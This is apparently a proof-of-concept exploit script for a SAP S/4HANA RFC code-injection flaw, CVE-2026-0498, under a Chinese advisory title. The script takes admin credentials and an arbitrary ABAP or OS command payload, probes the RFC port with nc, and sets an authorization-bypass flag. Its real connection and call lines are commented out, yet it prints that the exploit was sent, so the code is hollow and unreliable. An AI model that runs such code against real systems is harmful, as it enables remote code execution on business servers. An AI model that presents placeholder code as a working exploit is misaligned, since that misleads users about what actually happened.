CVE-2026-0498 | SAP S/4HANA RFC功能模块远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0498 PoC - SAP S/4HANA RFC Function Module Code Injection Note: This PoC is for educational and authorized security testing purposes only. """ import subprocess import sys def check_sap_rfc_connection(target_host, target_port): """ Check if SAP RFC port is accessible """ try: result = subprocess.run( ['nc', '-zv', target_host, str(target_port)], capture_output=True, timeout=10 ) return result.returncode == 0 except Exception as e: print(f"Connection check failed: {e}") return False def exploit_rfc_injection(target_host, username, password, payload): """ Exploit RFC function module for ABAP code injection Parameters: target_host: Target SAP system hostname username: Admin username with RFC access password: Admin password payload: Malicious ABAP/OS command to inject """ # SAP RFC connection parameters rfc_params = { 'ashost': target_host, 'sysnr': '00', 'client': '001', 'user': username, 'passwd': password, 'lang': 'EN' } # Note: Requires pysap or pyrfc library # Example using SAP RFC SDK try: # Import SAP RFC library # import pyrfc # conn = pyrfc.Connection(**rfc_params) # Vulnerable function module (example) # func_name = 'SUSR_RFC_API_FUNCTION' # Example target # Injection payload structure malicious_input = { 'IMPORT_PARAM': payload, # Injected malicious code 'AUTHORIZATION_CHECK': False # Bypass auth check } # Execute the vulnerable function # result = conn.call(func_name, **malicious_input) print(f"[*] Exploit sent to {target_host}") print(f"[*] Payload: {payload}") return True except ImportError: print("[-] pyrfc library not installed") print("[*] Install with: pip install pyrfc") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): if len(sys.argv) < 5: print("Usage: python cve-2026-0498.py <host> <username> <password> <payload>") print("Example: python cve-2026-0498.py 192.168.1.100 admin Admin123 'ABAP_CODE'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] payload = sys.argv[4] print(f"[*] Targeting SAP S/4HANA: {target}") print(f"[*] Using credentials: {user}/{passwd}") # Check connectivity if not check_sap_rfc_connection(target, 3300): # SAP RFC default port print("[-] Cannot connect to SAP RFC service") # Attempt exploitation exploit_rfc_injection(target, user, passwd, payload) if __name__ == '__main__': main()